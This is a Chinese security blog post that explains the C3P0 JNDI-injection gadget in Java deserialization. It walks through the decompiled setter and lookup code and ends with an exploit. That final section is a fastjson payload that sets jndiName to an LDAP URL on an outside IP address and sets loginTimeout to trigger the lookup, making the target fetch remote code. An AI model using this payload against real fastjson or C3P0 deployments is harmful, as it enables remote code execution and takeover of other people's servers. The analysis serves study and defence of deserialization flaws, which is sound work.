【Web】浅聊Java反序列化之C3P0——JNDI注入利用

目录

简介

原理分析

EXP


前文:【Web】浅聊Java反序列化之C3P0------URLClassLoader利用

【Web】浅聊Java反序列化之C3P0------不出网Hex字节码加载利用

简介

出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)

和hex base的打法相比,这条链的利用对FJ反序列化触发的setter方法利用则更为直接

hex base好歹是有个setter设置属性+构造方法触发sink来进行攻击,jndi的利用干脆用setter把二者全包了

原理分析

就像上面说的一样,这个Gadget的核心主要是在setter上,因为过于简单粗暴,我们采用正向分析的方法去跟一下它

JndiRefForwardingDataSource#setloginTimeout

 public void setLoginTimeout(int seconds) throws SQLException {
        this.inner().setLoginTimeout(seconds);
    }

跟进this.inner()

 private synchronized DataSource inner() throws SQLException {
        if (this.cachedInner != null) {
            return this.cachedInner;
        } else {
            DataSource out = this.dereference();
            if (this.isCaching()) {
                this.cachedInner = out;
            }

            return out;
        }
    }

这段代码的作用是获取一个 DataSource 对象,在需要时从缓存中获取,如果没有缓存则创建新的对象,并在必要时将其缓存起来

跟进到this.dereference()

private DataSource dereference() throws SQLException {
        Object jndiName = this.getJndiName();
        Hashtable jndiEnv = this.getJndiEnv();

        try {
            InitialContext ctx;
            if (jndiEnv != null) {
                ctx = new InitialContext(jndiEnv);
            } else {
                ctx = new InitialContext();
            }

            if (jndiName instanceof String) {
                return (DataSource)ctx.lookup((String)jndiName);
            } else if (jndiName instanceof Name) {
                return (DataSource)ctx.lookup((Name)jndiName);
            } else {
                throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
            }
        }

一眼经典JNDI,我们只要控制jndiName的值,就能实现jndi注入

jndiName来自this.getJndiName(),跟进一下

public Object getJndiName() {
        return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;
    }

很正常,就是获取该类的jndiName属性的值

那么有getter的地方必有setter,虽然JndiRefForwardingDataSource这个类本身没有setJndiName,但我们在其父类JndiRefDataSourceBase中找到了setJndiName

public void setJndiName(Object jndiName) throws PropertyVetoException {
        Object oldVal = this.jndiName;
        if (!this.eqOrBothNull(oldVal, jndiName)) {
            this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
        }

        this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
        if (!this.eqOrBothNull(oldVal, jndiName)) {
            this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
        }

    }

综合二者就可实现JNDI注入。

EXP

配合fastjson打JndiRefForwardingDataSource

package com.c3p0;

import com.alibaba.fastjson.JSON;

public class FJ {
    public static void main(String[] args) {
        String s="{ \"a\":{ \"@type\":\"java.lang.Class\", \"val\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\" }, \"b\":{ \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\":\"ldap://124.222.136.33:1337/#suibian\", \"loginTimeout\":0 } }";
        Object object = JSON.parse(s);
    }
}
相关推荐
zl9798997 分钟前
MybatisPlus-注解
java·spring·maven
杰九17 分钟前
【环境配置】maven,mysql,node.js,vue的快速配置与上手
java·vue.js·spring boot·mysql·node.js·maven
wapicn9928 分钟前
‌挖数据平台对接DeepSeek推出一键云端部署功能:API接口驱动金融、汽车等行业智能化升级
java·人工智能·python·金融·汽车·php
逸狼1 小时前
【JavaEE进阶】Spring DI
java·开发语言
yonuyeung1 小时前
代码随想录算法【Day54】
java·数据结构·算法
敲上瘾1 小时前
基础dp——动态规划
java·数据结构·c++·python·算法·线性回归·动态规划
my_styles1 小时前
2025-alibaba-Sentinel组件
java·开发语言·sentinel
Dongwoo Jeong2 小时前
类型系统下的语言分类与类型系统基础
java·笔记·python·lisp·fortran·type
肖帆咪2 小时前
deepseek自动化代码生成
java·ai·自动化·ai编程·deepseek